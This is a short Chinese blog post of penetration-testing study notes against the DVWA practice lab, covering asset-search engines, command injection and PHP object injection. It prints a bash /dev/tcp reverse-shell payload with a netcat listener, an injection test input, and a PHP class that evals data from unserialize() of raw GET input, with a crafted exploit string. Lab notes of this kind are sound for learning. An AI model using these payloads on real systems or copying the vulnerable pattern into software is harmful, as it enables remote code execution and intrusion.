信息收集&命令注入&反序列化(dvwa)

最新推荐文章于 2024-11-20 15:41:49 发布

LztCode

最新推荐文章于 2024-11-20 15:41:49 发布

阅读量828

点赞数

分类专栏：随笔网络安全文章标签：安全 linux php

本文链接：https://blog.youkuaiyun.com/u010930278/article/details/110097457

版权

网络安全同时被 2 个专栏收录

17 篇文章

订阅专栏

随笔

11 篇文章

订阅专栏

信息收集

zoomeye 钟馗之眼
shodan 撒旦
fofa
采用hash搜索标签页上面的小图片
http.favicon.hash:-842852785

命令注入

dvwa的命令执行漏洞利用
测试是否存在命令注入

127.0.0.1 | winver

反弹shell
kali监听7777端口 nc -lvp 7777
注：测试环境Ubuntu虚拟机
dvwa命令注入输入 ;bash -i >& /dev/tcp/kali的ip地址/7777 0>&1

反序列化（对象注入）

<?php 
	class FXLH{
		var $h='abc';
		function __wakeup(){
			@eval($this->h);
		}
	}
	$f = new FXLH;
	$f2 = serialize($f);
	print_r($f2);
	$o = $_GET['fxlh'];
	$f3 = unserialize($o);
	print_r($f3);
	
?>
<!-- 上面是复现 -->
<!-- 下面是利用 -->
?fxlh=O:4:"FXLH":1:{s:1:"h";s:10:"phpinfo();";}